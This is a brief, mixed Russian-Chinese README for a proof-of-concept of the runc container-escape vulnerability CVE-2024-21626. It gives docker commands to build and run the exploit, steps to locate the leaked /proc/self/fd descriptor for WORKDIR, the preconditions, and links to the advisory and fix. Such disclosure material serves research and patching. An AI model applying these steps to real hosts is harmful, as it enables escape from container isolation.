
Только для образовательных/исследовательских целей. Ответственность за любые действия, не связанные с образованием/исследованиями, несёт сам пользователь.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
В разных версиях docker/runc используются разные файловые дескрипторы. Например, в случае docker server:20.10.17 && runc version 1.1.2 используется /proc/self/fd/9. Фактический fd может меняться в зависимости от порядка открытия файлов; в официальной документации указано, что в большинстве случаев следует использовать /proc/self/fd/7. Чтобы узнать фактически используемый fd, можно самостоятельно скомпилировать runc и вставить sleep в функцию nsexec.
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
Изменение: измените WORKDIR в Dockerfile на соответствующее значение.
Одновременно должны выполняться следующие условия:
1. Можно создавать контейнер и указывать команду для выполнения
2. Можно указывать образ, используемый контейнером
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e